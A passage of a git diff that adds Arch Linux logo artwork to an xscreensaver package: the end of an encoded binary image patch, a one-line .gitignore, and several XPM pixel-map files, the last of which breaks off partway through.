zMvnoT2Jp$C_DSyN=W*3%u^_^sOWp8TGGc1*szc#W!_1jUj$gYL zPkwE{>e5I|Jl^KP-sUcNqzvD(f`KL&1%qLih+OU7R|jm9@!QMs&vR|H?S_n45D-8& zaVRc58h>{xBm2k~y54u^;XEuUk7i4B6NZ#Ib znPU(TBk0O=86zgk)tP_kmjrGt19Gz{K^1QkL65L7)w+$1&ipg2y$zpN+6ksOfSHKA ztH#AWkUux|$Ux)8vnQJH=J!$%yX8!2kHwimPA56F^y+0(YB9gKb`Ca`O4{V=1OWW` z2yV2E-d3?2d8Hgm@RU54=aq`qgi!_M80r?6Uv?rPzibw6c2hrf9UZl;yzpk@h?}|i z#GRGTn2b5?y0viTzUmD(6N_%v!fCrIm({xUT>vq_NOq_+CC>iPp#^E%|1ShtP+W^j zw{J|lF6#{mI}<}n|5Z7|smYNJWkQUgrox=GTidnXo;B9lZSX}R*lmKKk$|QU9D>l~ zHASZ>8%Nu0V{d7Te7~qRrlwmz>9u4A7!<6v$w1B_!H87_PmHxSI}|Z>&hVJdm$QdP zCUqzUx$HBKGSd`IA%F=o5cB-`6oHvxSfGnubL?%gwvLyx$I>lhk>^ie#AhvTqz$vt z`EHB4Ol!Z-;v5h&`*%8+DUe}GaG+Q=Qd4B*n;X2=j!wgR5Fp|}ju^~Kg1_T!gmDg=Z(q(t$N$VCFP1h#5x}md?vH#d zA7y|-ng>HlMvO{VCdAlYt9Bc&8tm`q$o~w)+Z0ZAC>6xWa@d4bFgNwPx5$D6b?TvU0f7E`%uvAKL_NkFybX8S-JT#7f~gP>1z+GeXnrz)3bL|t=U zQ7ta}%xRTf`d5YRci7 zWmB#x1OSvQNJIJ3jIsnxycMqh^xgLXfIz9JvP(Z`6EyX@j^EUsl?#tv>ZvpV4!J-u z>7WP!B5XR+p%x5u&$X?bwy~d2P^gfFc$;!ydXnR*aSq!fsz5=lTQ48Cy&`u|g50_1 z?9=CZ^g4^)^EY|2Ft{U$Y5J^A(G z$tQxeD-YMB;QreOnc~!DSjm14sqcPdFw^)Lbz8%VJ3`-Q z(Ea;saCl)l#&56qM}yZ`8$Mncnh=Op=%qwWd|1DHYB>NbI#7$DzNYqVL7o60eOJZw zE4ut~mnnZ`$%t|t5ym={cQ3BEV}0(?bD-kpPOMu_<;Z|=?9&ZQ+YLU3L f?C$KnRqy{7RW4p@*0qVE00000NkvXXu0mjfZ_up` literal 0 HcmV?d00001 diff --git a/xscreensaver-arch-logo/logo-50.xpm b/xscreensaver-arch-logo/logo-50.xpm new file mode 100644 index 0000000..79486df --- /dev/null +++ b/xscreensaver-arch-logo/logo-50.xpm @@ -0,0 +1,70 @@ +/* XPM */ +static char * logo_50_xpm[] = { +"50 50 17 1", +" c None", +". c #00A9D7", +"+ c #06A9D2", +"@ c #0CAAD3", +"# c #11ABD4", +"$ c #00B0D7", +"% c #00B2DA", +"& c #17ADD6", +"* c #00B4DC", +"= c #1EB0D9", +"- c #22B5D7", +"; c #29B8DA", +"> c #2DBADD", +", c #31BDDF", +"' c #36BFE2", +") c #41BDDA", +"! c #45C0DD", +" ", +" @$ ", +" @# ", +" @@ ", +" #+@; ", +" +++$ ", +" $@@@@; ", +" ###@@- ", +" ;####@$, ", +" &$####&> ", +" $$$&$$$#;' ", +" $$$$$&&$$, ", +" $$$$$$$$&; ", +" ;$-$$$=$$&-) ", +" -$$$$$$$$$$, ", +" -*---$$$$$;! ", +" > ;--*-$*$$$) ", +" ,;; >-*--****;! ", +" ;;;;; ;--****-! ", +" >>>;;;;> ;;;---*;! ", +" ,>>>;;;;;;;;;----' ", +" !>,,>>>>>>;;;;;;;;;! ", +" ,,,,,,>>>>;;;;;;;;;) ", +" ')'),,,,,>;;;;;;;;;;;! ", +" !''))',-$#@@@@@@@@#&*, ", +" !'!!!;$+++.+++@@+++++++> ", +" !!!;#@+@+@++++@@@+@++++@ ", +" !!>&+@+.+++++.+.+++++@+++$ ", +" '$@++@++@@@++++++@++@@++++- ", +" -++++++@+++## $#++@+++++@+@ ", +" ++@++++@++@ @+.@++.++.+# ", +" #@+@+++++@@ ++@@@@+@@@# ", +" -++@+.@+@++$ $+.++@+@+@+$ ", +" @+++@@++++@ @++@+++++@+ ", +" $@++++@++++@ @+@+@@+++++$ ", +" @++@+++++@+$ $+++++.+++@@ ", +" $+.@++++@+@+ +@+@++$$+++& ", +" +@@++@@+@@@+ +@++@+@& ## ", +" &+++@@+@@++++ @++.@@@++$ > ", +" @@++@@+++@+@+ +@++++@@++# ", +" @++@@.++++@+@+ ++@@+++++@@@- ", +" @@@+++++@@+++#- #++++++++@@+@# ", +" #++@+++++@+#& &#@++@@+@+++$ ", +" $+@+@++++& &++@+++@+$ ", +" @++@++@$ #+@+@@@+ ", +" $@+@+#& $@+@+@$ ", +" ++++$ $@@++ ", +" #+#$ $@+& ", +" @& &@ ", +"; ;"}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/.gitignore b/xscreensaver-arch-logo/xscreensaver-graphics-all/.gitignore new file mode 100644 index 0000000..f4c6dce --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/.gitignore @@ -0,0 +1 @@ +sources diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-archlinux.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-archlinux.xpm new file mode 100644 index 0000000..d68f843 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-archlinux.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_xpm[] = { +"180 180 17 1", +" c None", +". c #181A18", +"+ c #1F211E", +"@ c #262826", +"# c #2D2E2C", +"$ c #343633", +"% c #3B3C3A", +"& c #414340", +"* c #515250", +"= c #05AAD2", +"- c #00B3D9", +"; c #07BEE9", +"> c #2EBBDD", +", c #46C1DE", +"' c #48C9E9", +") c #68CDE6", +"! c #81D6E9", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" )! ", +" -- ", +" =- ", +" ,==) ", +" -==> ", +" )===-) ", +" -====> ", +" =====> ", +" )=====-) ", +" ======-> ", +" '=======-) ", +" -=======-> ", +" -=======-> ", +" >=========>, ", +" ==========>> ", +" ,==========->, ", +" -===========>> ", +" -==-========>>, ", +" ,=-======-===->> ", +" ==-===========>>) ", +" >----==========->> ", +" -=-=-===-===-==->>' ", +" ,-----------=-=-=>>, ", +" >---==--=-===--=-->> ", +" )-----------=--=--->>, ", +" ------==---=-=---==>>>! ", +" -------==-----=----->>, ", +" ,-----------------=-->>, ", +" >--------------==-=-=-,>' ", +" >--------------------->>> ", +" ->-------------------->>, ", +" !>>---->-------------->,, ", +" >->->--------------->,,) ", +" ), >-->>>->-=---------->,> ", +" >>> >->>>>>->->-------->,,, ", +" >>>>>, >>>>--->->>-----=-->,, ", +" ,>>>>>>> ,>>>>>>>>->-->>>-->,,) ", +" )>>>>>>>>> )>>>>>>>->--->>>->>,, ", +" >>>>>>>>>>>, >>>>>>>>->>--->>>,,, ", +" ,>>>>>>>>>>>>>> ,>>>>>>>>----->->,, ", +" ,>>>>>>>>>>>>>>>,)>>>>>>>>>>>>>>->,,) ", +" )>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,, ", +" >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,) ", +" '>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,, ", +" ,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,, ", +" )>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,, ", +" >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,) ", +" ,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,, ", +" ,>,>>,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>, ", +" )>,,>>>>,>>>,>>>>>>>--==============-->>>>>>,, ", +" ,,,,,,>>>,>>>,>>-========================->>>,) ", +" ,,,,,,,,,>,>>>-==============================->, ", +" ,>>,,,,,,>>>===================================>) ", +" ',,>,,,,,>-======================================>! ", +" ,>,>,,>>-========================================-> ", +" ,,>,,,>-===========================================> ", +" ,,,>>>==============================================, ", +" ),,,>-================================================ ", +" !>,>===================================================- ", +" ,>-===================================================== ", +" -========================, '=========================> ", +" >=======================> >-=======================) ", +" ,=======================) )======================== ", +" =======================) )-======================> ", +" ,======================> ,======================- ", +" ======================> >======================) ", +" >====================== -====================== ", +" ======================> ,======================- ", +" -======================) ======================= ", +" ======================- >======================, ", +" -======================) ======================= ", +" >======================= =======================> ", +" -======================- ,======================= ", +" ,=======================> =======================> ", +" ========================= ========================, ", +" >========================= ==============))--======> ", +" =========================- ===============> ,-====) ", +" -=========================> =================> )===- ", +" ,==========================, ==================-> ,=> ", +" >==========================, ====================> > ", +" '===========================> =====================-, ", +" ============================> =======================> ", +" >============================= ========================-' ", +" -============================= ==========================, ", +" '=============================> ===========================> ", +" !==============================> ============================> ", +" -==========================>=,! !,=>=========================- ", +" ========================> >-======================= ", +" >====================->) ,--====================> ", +" ,===================> >===================, ", +" -================>> >>================= ", +" )===============> >===============) ", +" -============-- --============- ", +" >============) )============> ", +" -==========> --========== ", +" >========- )-========> ", +" ========> >======== ", +" >=====-' ,-=====> ", +" =====> >===== ", +" >===> >===- ", +" )==> -==! ", +" =>, >- ", +" ) ) ", +" ", +" * ! ", +" &$#@ ';; ; ", +" $##### ;;; ;;' ", +" $##### ;;; '' ", +" $##### ';; ", +" $##### ';; ", +" $##### ';; ", +" $##### ';; ", +" *&%%%&%%%&* *** $##### ';; ", +" *&%%%%%%%%%%%&* **&$$& &&$$$#& *&$####$&* $##### **&** ';; ", +" &%&%%%%%%%%%%%%% $$$$$& %$$$$$$ &$$############& $###$ $##@@@@@@##@ ';; ) ); !;;;;;;;;! ) ", +" %%%%%%%%%%%%%%%%% $$$$$& %$$$$$$& %################& $### $###@@#@@@@@@@* ';; ;; ';; );>>>>>>>>>' )>; '>' , ! ", +" *%%%%%%%%%%%%%%%%%& $$$$$$%$$$$$$$ *$$$$################ $## $######@#@@@@@@@@% ';; ;; ';; ;;;;') ));>>;; );> >>' ,>, ,>, ", +" &%%%&&&%%%&%%%%%%%% $$$$$$$$$$$$$& $$$##$##############% $@&%@#####@###@@@@@@@@$ ';; ;; ';; ';;) );>>' )>; >>' >>' ,>! ", +" &&* &%%%%%% $$$$$$$$$$&* &$$$$######$$$######& $#######@& &@@@@@@+% ';; ;; ';;);' ;>; )>; >>' )>>' !>>, ", +" %%%%%%* $$$$$$$$% #$$$###$$* *$##$ $######$ &@@@@@@# ';; ;; ';;;' ;> );> >>, '>>) ,>, ", +" *&%&&&%& *%%%%$* $$$$$$$% &$$$$$$$* *$ $###### $@@@@@# ';; ;; ';;; ;>) )>; >>, ,>, )>, ", +" *&%%%%%%%%%**%%%%$* $$$$$$$ $$$$##$* $####@* @@@@@# ';; ;; '>; '>' )>> >>, !>>, >>, ", +" &%%%%%%%%%%%%%%%%%$* $$$$$$* $$$$$#& $##### @@@@@# ';; ;; '=- >-' );; >>, >>) >>, ", +" &%%%%%%%$$$$%$$$$$$$* $$$$$$ $$$#$$ $##### @@@@@# ';; -=! >== >=- ,== >>, ,>>!'>, ", +" $#@@+++.........+++@@& $$$$$$ $$$### #@@@## @@@@+# ';; ==! >== >=- ,== >>, ,>>>>) ", +" ++++++++%**&++++++++.$ +@##$$ #@++.+ +....+ @@@@@# -== ==! >=- >=- ,== >>, ,>>, ", +"#++++++% #++++++% .+++++ .....@ +..... +....+ -== ==! >== >=- ,== -=- >==, ", +"@+++++* ++++++% ++++++ +++..@ +..... ...... -== ==! ,== >=- ,== ==- ,====! ", +"@@@@@$ #+++++% ++++++ ++++++ +..... ...... -== ==! >== >=- ,== -=- ==--=- ", +"#@@@@& %+@+++& ++++++ @+++++& +..... .....+ -== ==! ,== >=- ,== -=- -== ==, ", +"###### $@@@@@& ++++++ @++++++ @..... .....+ -== ==! ,== >=- ,== ==- ,==> >==) ", +"$#####$ #@@@@@& @@@@@@ *++++++@ +# @+++++ .....+ -== ==! ,== >== ,== ==- >==> >=- ", +"*######$ ######@& @@@@@@ $++++++@& @++ @+++++ +....+ -== ==! ,== >=- ,== ,==- -=- ==> ", +" $######$$**$######$&@& ###### @@@@@++@@#%&$#@+++++@ #+++++ +....+ -== ==! ,== >=- '==> !===- >==> ,==> ", +" &#$$#############% ##* ###### %@@@@@@@@@++++++++++@ #+++++ ++++++ -== ==! ,== >== === ====- ,==> >== ", +" %$$$$$$$$$#####% *##* ###### *@@@@@@@@@@@@@@@+++# #+++++ +++++@ -== ==! ,== >== -==- )=='==- ==> ==- ", +" &$$$$$$$$$$$$% ###* ###### &$@#####@@@@@@@@#% $+@@++ +++++@ -== ==! ,== >== >===- >==> -=- -== '==- ", +" $$$$$$$$$$* $$$#* ###### *#@########@@% $@@@++ @++++# -== ==! ,== >== )====-==-====- -=- >==, ,==)", +" *&%&&%%& *%&&* %%&* *$$$$$$$#$ %$##$* #####& >-> >- '>> >-- -========-> --> )-> -=)", +" )>->>' ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-2.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-2.xpm new file mode 100644 index 0000000..3837cdd --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-2.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_crystal_2_xpm[] = { +"180 180 17 1", +" c None", +". c #000B6A", +"+ c #062C94", +"@ c #FC0000", +"# c #522D4D", +"$ c #35347D", +"% c #A91C39", +"& c #0940B1", +"* c #535392", +"= c #705E45", +"- c #736D97", +"; c #8E90B5", +"> c #B79E6A", +", c #B4B5B1", +"' c #56E24C", +") c #CED0CC", +"! c #E7E9E6", +" ", +" ,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,, ", +" ,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!, ", +" ,)!!)))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))))!!), ", +" ,!),,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,)!, ", +" ,,,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,, ", +" ,,,,,,,,,,)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))),,,,,,,,,,, ", +" ,,,,,,,,,)!!!!!!!!!!))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)))))))))))))))))))))))))))))))))!!!!!!!!!!),,,,,,,,, ", +" ,,,,,,,,)!);;;;;;;;;;;;;;;;;;------------------------------------------------------------------------------------------------------------------;;;;;;;;;;;;;;;;;;)!),,,,,,,, ", +" ,,,,,,,,!!........................................................................................................................................................!!,,,,,,,, ", +" ,,,,,,,,!)........................................................................................................................................................)!,,,,,,,, ", +" ,,,,,,,,!)...*******************************************************************************************************$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...)!,,,,,,,, ", +" ,,,,,,,,!)..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;---------------------------------*********************************...)!,,,,,,,, ", +" ,,,,,,,,!)..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;---------------------------------**********************************...)!,,,,,,,, ", +" ,,,,,,,,!)..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;----------------------------------***********************************...)!,,,,,,,, ", +" ,,,,,,,,!,..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-----------------------------------************************************...,!,,,,,,,, ", +" ,,,,,,,,),..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-----------------------------------**************************************...,),,,,,,,, ", +" ,,,,,,,,),..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;------------------------------------**************************************$...,),,,,,,,, ", +" ,,,,,,,,),..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;--%%%@@@@@@@@@@%%%-------------------------**************************************$$...,),,,,,,,, ", +" ,,,,,,,,),..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-#%@@@@@@@@@@@@@@@@@@@@@@%#------------------***************************************$$$...,),,,,,,,, ", +" ,,,,,,,,),..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%--------------***************************************$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#---------****************************************$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#------***************************************$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%--****************************************$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#***************************************$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;---@@@@@@@@@@@@@@@@@@@@%%%%#--##%%%@@@@@@@@@@@@@@@@@@@@-************************************$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-------%@@@@@@@@@@@@@@@@%#------------------#%@@@@@@@@@@@@@@@@%*********************************$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$----;;;;;;;;;;;;;;;;;;;;;;;;;---------------@@@@@@@@@@@@@@@%--------------------------%@@@@@@@@@@@@@@@*******************************$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$------------------------------------------#@@@@@@@@@@@@@%--------------------------------%@@@@@@@@@@@@@#****************************$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$-----------------------------------------%@@@@@@@@@@@@%------------------------------******%@@@@@@@@@@@@%*************************$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$----------------------------------------%@@@@@@@@@@@%------------------------------**********%@@@@@@@@@@@%***********************$$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$---------------------------------------%@@@@@@@@@@@-----------------------------**************#@@@@@@@@@@@%********************$$$$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$--------------------------------------%@@@@@@@@@@%---------------------------*******************%@@@@@@@@@@%*****************$$$$$$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$-------------------------------------%@@@@@@@@@@--------------------------***********************#@@@@@@@@@@%***************$$$$$$$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$------------------------------------%@@@@@@@@@@------------------------****************************%@@@@@@@@@%************$$$$$$$$$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$-----------------------------------%@@@@@@@@@@@%-------------------*********************************%@@@@@@@@@#*********$$$$$$$$$$$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$-----------------------------------@@@@@@@@@@@@@%--------------**************************************%@@@@@@@@@#******$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$----------------------------------@@@@@@@@@@@@@@@%--------********************************************%@@@@@@@@@****$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$---------------------------------%@@@@@@@@@@@@@@@@%--**************---======--*************************%@@@@@@@@%*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$--------------------------------%@@@@@@@@@@@@@@@@@@%*************-,)!!!),,!!!!);-***********************%@@@@@@@@%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,),..$--------------------------------@@@@@@@@@@@@@@@@@@@@%**********-,!!!!),,,,,,)!!!!;***********************%@@@@@@@@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,),,,,,,,, ", +" ,,,,,,,,,,...********----------------*******%@@@@@@@@**@@@@@@@@@@@%********-)!!),,,,,,,,,>>,)!!,-*********************$@@@@@@@@%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$....,,,,,,,,,, ", +" ,,,,,,,,,,...******************************#@@@@@@@@#***@@@@@@@@@@@%******-!!!,>>>==#**##=>>>,!!)-********************$#@@@@@@@@#$$$$$$$$$$$$$$$$$$$$$$$$$$$$.....,,,,,,,,,, ", +" ,,,,,,,,,,...******************************@@@@@@@@%*****@@@@@@@@@@@%****-!!),>>=-********-=>>,)!!-****************$$$$$%@@@@@@@@$$$$$$$$$$$$$$$$$$$$$$$$$$$......,,,,,,,,,, ", +" ,,,,,,,,,,...*****************************%@@@@@@@@*******@@@@@@@@@@@%**-)!!,>>-************->>,)!,*************$$$$$$$$$@@@@@@@@#$$$$$$$$$$$$$$$$$$$$$$$$$.......,,,,,,,,,, ", +" ,,,,,,,,,,...*****************************@@@@@@@@#********@@@@@@@@@@@%*,!!,==****************==,))=*********$$$$$$$$$$$$#@@@@@@@@$$$$$$$$$$$$$$$$$$$$$$$$........,,,,,,,,,, ", +" ,,,,,,,,,,...****************************#@@@@@@@%**********@@@@@@@@@@@%)!,==******************==,),#*****$$$$$$$$$$$$$$$$%@@@@@@@#$$$$$$$$$$$$$$$$$$$$$$.........,,,,,,,,,, ", +" ,,,,,,,,,,...****************************@@@@@@@@#***********@@@@@@@@@@,!!,=********************=,))=$*$$$$$$$$$$$$$$$$$$$#@@@@@@@@$$$$$$$$$$$$$$$$$$$$$..........,,,,,,,,,, ", +" ,,,,,,,,,,...***************************#@@@@@@@%*************@@@@@@@@%,!)=#********************#=,)=#$$$$$$$$$$$$$$$$$$$$$%@@@@@@@$$$$$$$$$$$$$$$$$$$$...........,,,,,,,,,, ", +" ,,,,,,,,,,...***************************%@@@@@@@#**************@@@@@@@=)!,#**********************#,),#$$$$$$$$$$$$$$$$$$$$$#@@@@@@@%$$$$$$$$$$$$$$$$$$............,,,,,,,,,, ", +" ,,,,,,,,,,...***************************@@@@@@@@****************@@@@@@=)!=#@****************$$$$$#=),#$$$$$$$$$$$$$$$$$$$$$$@@@@@@@@$$$$$$$$$$$$$$$$$.............,,,,,,,,,, ", +" ,,,,,,,,,,...**************************#@@@@@@@%*****************@@@@@,!!=%@@***********$$$$$$$$$#=))=$$$$$$$$$$$$$$$$$$$$$$%@@@@@@@#$$$$$$$$$$$$$$$..............,,,,,,,,,, ", +" ,,,,,,,,,,...**************************%@@@@@@@*******************%@@@,!)=@@@@*****$$$$$$$$$$$$$$*=)!=$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@%$$$$$$$$$$$$$................,,,,,,,,,, ", +" ,,,,,,,,,,...**************************@@@@@@@%********************%@%,!)=@@@@@*$$$$$$$$$$$$$$$$$$=)!,#$$$$$$$$$$$$$$$$$$$$$$%@@@@@@@$$$$$$$$$$$$.................,,,,,,,,,, ", +" ,,,,,,,,,,...**************************@@@@@@@#********************$%%,!)=@@@@@@$$$$$$$$$$$$$$$$$$=)!,#$$$$$$$$$$$$$$$$$$$$$$#@@@@@@@$$$$$$$$$$...................,,,,,,,,,, ", +" ,,,,,,,,,,...*************************#@@@@@@@******************$$$$$%,!)=@@@@@@@$$$$$$$$$$$$$$$$$=)!,#$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@#$$$$$$$.....................,,,,,,,,,, ", +" ,,,,,,,,,,...*************************%@@@@@@@*********$$$$$$$$$$$$$$#,!)=@@@@@@@@$$$$$$$$$$$$$$$$=)!,#$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@%$$$$........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$*******************%@@@@@@%$$$$$$$$$$$$$$$$$$$$$$$#,!)=@@@@@@@@@$$$$$$$$$$$$$$$=)!,#$$$$$$$$$$$$$$$$$$$$$$$%@@@@@@%$$..........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@#$$$$$$$$$$$$$$$$$$$$$$$#,!)=@@@@@@@@@@$$$$$$$$$$$$$$=)!,#$$$$$$$$$$$$$$$$$$$$$$$#@@@@@@@............................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@#$$$$$$$$$$$$$$$$$$$$$$$#,!)=@@@@@@@@@@@$$$$$$$$$$$$$=)!,#$$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@$...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$#@@@@@@@$$$$$$$$$$$$$$$$$$$$$$$$#,!)=%@@@@@@@@@@@$$$$$$$$$$$$=)!,#$$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@$...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$#@@@@@@@$$$$$$$$$$$$$$$$$$$$$$$$#,!)=$%@@@@@@@@@@@$$$$$$$$$$$=)!,#$$$$$$$$$$$$$$$$$$$$$...@@@@@@@#...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$%@@@@@@@$$$$$$$$$$$$$$$$$$$$$$$-;,)),;;%%%%%%%%%%%%---;;;;;;;,)!,,-$$$$$$$$$$$$$$$$.......@@@@@@@#...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$%@@@@@@@$$$$$$$$$$$$$$$$$$$$$$*>>>>>>)))))))),,,,,,)))))))))))))>>>*$$$$$$$$$$$$..........@@@@@@@%...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$%@@@@@@%$$$$$$$$$$$$$$$$$$$$$$*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*$$$$$$$$..............%@@@@@@%...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$%@@@@@@%$$$$$$$$$$$$$$$$$$$$$$*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*$$$$..................%@@@@@@%...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$%@@@@@@%$$$$$$$$$$$$$$$$$$$$$$*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*......................%@@@@@@%...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$%@@@@@@%$$$$$$$$$$$$$$$$$$$$$$*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*......................%@@@@@@%...........................,,,,,,,,,, ", +" 